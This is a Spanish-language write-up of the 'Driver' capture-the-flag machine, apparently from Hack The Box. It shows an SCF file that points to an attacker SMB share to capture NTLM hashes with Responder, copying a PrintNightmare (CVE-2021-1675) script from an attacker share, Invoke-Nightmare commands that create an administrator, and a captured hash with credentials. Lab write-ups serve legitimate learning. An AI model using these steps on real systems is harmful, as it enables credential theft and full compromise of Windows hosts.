Driver - 10.10.11.106

Enumeración

Puertos

```
PORT            STATE SERVICE      VERSION
80/tcp    open  http           Microsoft IIS httpd 10.0
      | http-auth:
      | HTTP/1.1 401 Unauthorized\x0D
      |_  Basic realm=MFP Firmware Update Center. Please enter password for admin
      | http-methods:
      |_  Potentially risky methods: TRACE
      |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
      |_http-server-header: Microsoft-IIS/10.0
135/tcp open  msrpc          Microsoft Windows RPC
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

Aggressive OS guesses: Microsoft Windows Server 2008 R2 (91%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 10 1607 (85%), Microsoft Windows 10 1511 (85%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
```

Web

El servicio web cuenta con una autenticación básica y configurada por defecto con credenciales de administrador.
• admin:admin
Datos del servicio web encontrado:
• **Servidor:** IIS 10.0
• **Lenguaje de programación:** PHP
• **Framework:** Bootstrap 4.0
• **Librerías:** JQuery 3.2.1

El sitio web es al parecer un servicio de administración dónde es posible revisar su configuración y subir archivos con respecto al firmware para mantener nuestra impresora actualizada, con esto mantendremos nuestro dispositivo al día y protegido frente ataques que les pueda dar acceso a un cracker :3.

Explotación

Descubrimiento:

• Al buscar en el servicio web los posibles vectores de ataque, veremos un campo donde es posible subir algún archivo y al parecer este será ejecutado por algún usuario del sistema "***Select printer model and upload the respective firmware update to our file share. Our testing team will review the uploads manually and initiates the testing soon.***".
• Esto nos puede dar indicio sobre algún tipo de ataque con un archivo malicioso que nos de una conexión inversa a la máquina de nuestra víctima (reverse shell), ésta información nos llevará a varios post si buscamos algo como "printer exploit", "firmware reverse shell printer" entre otros, logrando aprender diferentes técnicas que en este caso no funcionarán pero no significa que no aprendamos lago para el futuro :3.
• Nuestra busqueda nos llevara al final o incluso desde el primer intento (Si eres como yo, seguro después de muchos intentos lo verá, mejor tarde que nunca XD), a una busqueda del estilo "SMB firmware exploit" donde encontraremos un enlace que hablará sobre unas archivos de comandos a nivel de consola que la máquina los leera al ser abierto. A divertirnos :3

Vulnerabilidad detectada: RCE

Descripción:
Aún soy junior en esto, así que si conoces el verdadero nombre de está vulnerabilidad, estaría agradecido si lo compartes y con gusto actualizaré este documento.
• Command Injection (Inyección de comandos), implica la ejecución de comandos arbitrarios en un sistema operativo (SO) host. Por lo general, el actor de amenazas inyecta los comandos al explotar una vulnerabilidad de la aplicación, como una validación de entrada insuficiente.
• Al explotar un servicio compartido que no se encuentre autenticado es posible obtener el hash del usuario que navega por este directorio junto con ayuda de una herramienta llamada responder.

Exploit:
Crearemos un archivo malicioso el cula tendra la siguiente nomenclatura en el nombre del archivo para poder ser ejecutado como debe ser @nombreArchivo.SCF, los comandos o información dentro del archivo será la siguiente:
• [Shell]
    Command=2
    IconFile=\\X.X.X.X\share\pentestlab.ico
    [Taskbar]
    Command=ToggleDesktop
Según el blog, nos ayudaremos con una herramienta llamada responder para obtener el hash del usuario que usa el recurso compartido.

Ataque:
Realizamos el siguiente procedimiento y obtendremos acceso a la máquina de nuestra víctima en la cuál ya estaremos dentro para seguir jugando:
• Desarrollamos el exploit antes mencionado
• En una terminal pondremos responder a escuchar y poder obtener el hash del usuario
  ◇ responder --lm -v -I tun0
• Tendremos la siguiente información sobre el usuario del recurso compartido, nuestro hash
• Un evil-winrm siempre podrá ser tu amigo.

Enumeración Interna

Debemos realizar una enumeración interna para poder visualizar nuestros posibles vectores para escalar privilegios y obtener un usuario privilegiado.

A continuación, veremos los comandos y su respuesta:
• net user
  ◇ Administrator
  ◇ DefaultAccount

- ◇ Guest
- ◇ tony

• net start
- ◇ ...
- ◇ Plug and Play
- ◇ Power
- ◇ Print Spooler
- ◇ Program Compatibility Assistant Service
- ◇ Remote Procedure Call (RPC)
- ◇ RPC Endpoint Mapper
- ◇ ...

• netsh firewall show state
- ◇ Firewall status:
- ◇ ---
- ◇ Profile = Standard
- ◇ Operational mode = Enable
- ◇ Exception mode = Enable
- ◇ Multicast/broadcast response mode = Enable
- ◇ Notification mode = Enable
- ◇ Group policy version = Windows Firewall
- ◇ Remote admin mode = Disable
- ◇ ...

• tasklist /svc
- ◇ ...
- ◇ svchost.exe 236 EventSystem, FontCache, netprofm, nsi, WdiServiceHost, WinHttpAutoProxySvc
- ◇ WUDFHost.exe 448 N/A
- ◇ svchost.exe 464 CryptSvc, Dnscache, LanmanWorkstation, NlaSvc, WinRM
- ◇ spoolsv.exe 1240 Spooler
- ◇ svchost.exe 1356 BFE, CoreMessagingRegistrar, DPS, MpsSvc
- ◇ svchost.exe 1576 DiagTrack
- ◇ svchost.exe 1588 AppHostSvc
- ◇ ...

• Versión del SO y nombre
- ◇ OS Name: Microsoft Windows 10 Enterprise
- ◇ OS Version: 10.0.10240 N/A Build 10240

Escalada de privilegios

Descubrimiento:
Se realiza una enumeración interna junto con una pequeña busqueda en google, logrando así tener unas pistas para guiar nuestra busqueda sobre nuestro objetivo común, que es escalar privilegios.
Al ser una máquina cuyo objetivo termina siendo una impresora, cuenta con multiples vulnerabilidades bajo un solo nombre **PrintNightmare**, el cual cuenta con practicamente tres versiones de la vulnerabilidad y nos comentan que su explotación se encuentra en github (que haríamos sin github y su posibilidad de subir tutoriales de hacking :3).
Realiando una investigación del CVE y la busqueda del malware en github, logramos dar con el siguiente de muchos repositorios, (Varios de ellos no me funcionaron o no los supe explotar :''( ).

Vulnerabilidad detectada: CVE-2021-1675
Descripción:
CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare."

Exploit:
Se obtiene el malware/exploit de un repositorio de GitHub pertenecientes a Caleb Stewart y John Hammond, donde veremos un paso a paso de su explotación.

Ataque:
Se realiza el procedimiento del ataque que tuvo fin escalar los privilegios de un usuario local a uno de administrador total:
• Con ayuda de Impacket, transferimos el archivo por medio del servidor SMB montado a nuestra víctima
  ◇ impacket-smbserver share $(pwd) -smb2support (máquina atacante)
  ◇ copy \\direcciónIP\share\CVE-2021-1675.ps1 (máquina víctima)
• Luego en nuestra víctima ejecutamos el siguiente comando de powershell
  ◇ Import-Module .\CVE-2021-1675.ps1
    ■ Si les sale un error sobre las políticas y no es posible ejecutarlo, realizando una busqueda podemos dar con el siguiente artículo de StackOverflow (también, que haríamos sin ellos, nos ayudaron a escalar a admin :3)
  ◇ Ejecutamos (en mi caso me salió ese problema) Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
  ◇ A continuación, seguimos con el ataque Invoke-Nightmare -NewUser “Dr4n23r” -NewPassword “Dr4n23r” -DriverName “PrintMeThisBabe”
  ◇ runas /user:Dr4n23r powershell.exe

Para saber si tuvimos exito haremos lo siguiente:
• Si ejecutamos net user veremos nuestro nuevo usuario creado.
• Si ejecutamos net user Dr4n23r veremos sus propiedades y permisos.

Como siempre, nuestro buen amigo evil-winrm:
• evil-winrm -i 10.10.11.106 -u Dr4n23r -p 'Dr4n23r'
• Por último ejecutamos Get-PrinterDriver y veremos algo chistoso (si no somos aburridos XD)

Credenciales/Usuarios detectados

Credenciales

Autenticación básica del sitio web.
• admin:admin

Credenciales obtenidas del hash adquirido
• tony:liltony

Creadas por medio de la escalada de privilegios
• Dr4n23r:Dr4n23r

Hash

Hash del usuario que maneja el recurso compartido (SMB)
• tony::DRIVER:6961c3509cc95fc6:E13CA2686E4A2C0FEC709571AD4EACCD:
0101000000000000CE575F26C1AED8019E1D5B986883CE880000000020000000000000000000000

Usuarios

Usuarios detectados con pocos privilegios:
• tony

Usuarios detectados:
• Administrator
• DefaultAccount
• Guest